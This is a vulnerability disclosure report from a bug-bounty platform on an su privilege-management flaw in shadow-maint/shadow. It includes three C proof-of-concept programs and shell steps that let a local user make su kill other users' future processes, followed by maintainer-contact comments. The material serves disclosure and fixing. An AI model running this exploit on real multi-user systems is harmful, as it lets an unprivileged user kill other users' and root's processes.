Improper Privilege Management in shadow-maint/shadow
Reported on
Oct 23rd 2021
Description
The su utility, if compiled with PAM support, uses waitpid internally to monitor its child process. It depends on the creation of zombie processes for proper monitoring, but the creation can be suppressed by ignoring the SIGCHLD signal (see waitpid manual page).
If su is spawned from a program which ignores SIGCHLD, su ignores SIGCHLD as well. Since the spawning process does not have to be setuid, we are able to modify the signal handling of the setuid binary su itself.
This allows an attacker to abuse su for a directed signal delivery of SIGTERM and SIGKILL with root privileges to a process of another user.
The attacker only requires their own login credentials, not the root credentials.
Proof of Concept
Compile poc-run (cc -o poc-run poc-run.c):
#include <err.h>
#include <signal.h>
#include <stdio.h>
#include <unistd.h>
int main(int argc, char *argv[]) {
struct passwd *pwd;
if (argc < 3) {
fprintf(stderr, "usage: poc-run bin command <arguments>\n");
return 1;
}
/* ignore SIGCHLD */
if (signal(SIGCHLD, SIG_IGN) != 0)
err(1, "cannot ignore SIGCHLD");
printf("su pid = %ld\n", (long)getpid());
/* execute program with ignored SIGCHLD */
execv(argv[1], argv + 1);
err(1, "failed to execute program");
}
Compile poc-kill (cc -o poc-kill poc-kill.c):
#include <err.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char *argv[]) {
pid_t target;
if (argc < 2) {
fprintf(stderr, "usage: poc-kill pid\n");
return 1;
}
/* send SIGCONT and SIGTERM to target pid */
target = atoi(argv[1]);
if (kill(target, SIGCONT) != 0 || kill(target, SIGTERM) != 0)
err(1, "failed to send signals");
return 0;
}
Compile poc-pid (cc -o poc-pid poc-pid.c):
#include <sys/wait.h>
#include <err.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main(int argc, char *argv[]) {
pid_t target;
/* read target pid */
if (argc != 2) {
fprintf(stderr, "usage: poc-pid pid\n");
return 1;
}
if ((target = atoi(argv[1])) <= 1)
errx(1, "invalid target pid");
for (;;) {
pid_t child = fork();
if (child == -1)
err(1, "fork");
else if (child == 0) {
/* we are process with target pid, sleep */
sleep(999);
_exit(0);
} else if (child == target) {
/* wait for child to exit, then exit as well */
printf("got pid %d, waiting for exit\n", (int)target);
if (waitpid(child, NULL, 0) != target)
err(1, "waitpid");
printf("child finished execution\n");
break;
} else {
/* kill child which has wrong pid */
kill(child, SIGTERM);
waitpid(child, NULL, 0);
}
}
return 0;
}
Reduce PID space to speed up proof of concept on 64 bit systems:
sudo bash -c "echo 32768 > /proc/sys/kernel/pid_max"
Run and suspend su with ignored SIGCHLD (enter your user pasword):
./poc-run $(which su) $(whoami) -c 'echo "target pid = $$"; kill -STOP $$'
You will see output like this:
su pid = 21481
target pid = 21486
Store these PIDs in variables:
SU=21481
TARGET=21486
Kill the spawned bash. Since no zombie process is created, the PID is available for newly spawned processes again. Run a privileged process which eventually gets the former bash PID:
kill -9 $TARGET
sudo ./poc-pid $TARGET
After a few seconds you get an output like this:
got pid 21486, waiting for exit
You won't be able to kill the privileged process:
kill -9 $TARGET
-bash: kill: (21486) - Operation not permitted
But if you kill the su process, the new privileged process is killed as well:
./poc-kill $SU
Impact
An attacker on a multi-user system can kill processes of other users, even root. No already spawned processes can be killed, but processes which will be spawned in the future can be killed.
The attacker can prepare su processes and the pid counter of the operating system for a better attack scenario, as presented in proof of concept.
References
SECURITY.md
2 years ago
Dear @admin, this is heavily related to https://huntr.dev/bounties/03718a50-5a22-4bad-9fcb-5c2644102d96 but shadow is maintained by a different person. I am not sure how to handle this properly through hunter.dev, therefore please keep this in mind regarding bounty etc.
@stoeckmann - not to worry! Our system will continue to get in touch with the maintainers, and we will wait to hear feedback from the maintainers.
Cheers! ๐
Hi @admin, the file exists: https://github.com/shadow-maint/shadow/blob/master/SECURITY.md Did you try to contact the maintainers in private and they did not reply? What should we do now, simply making it public?
I've checked our e-mail system and it seems that the maintainers did receive our e-mails and one was opened. It seems as though no reply has been given.
We will wait 90 days since the day of disclosure before making this public. However, in the meantime, you can try sending the URL for this report directly to the maintainers or getting in touch with them via GitHub to see if they can take a look at this disclosure.
Sounds good. Thanks for the advice and I will try to get in touch with them!
Update to this one: I have contacted the shadow maintainers. Perhaps su is removed from the tree in favor of util-linux' version.
When news arrive, I add another comment.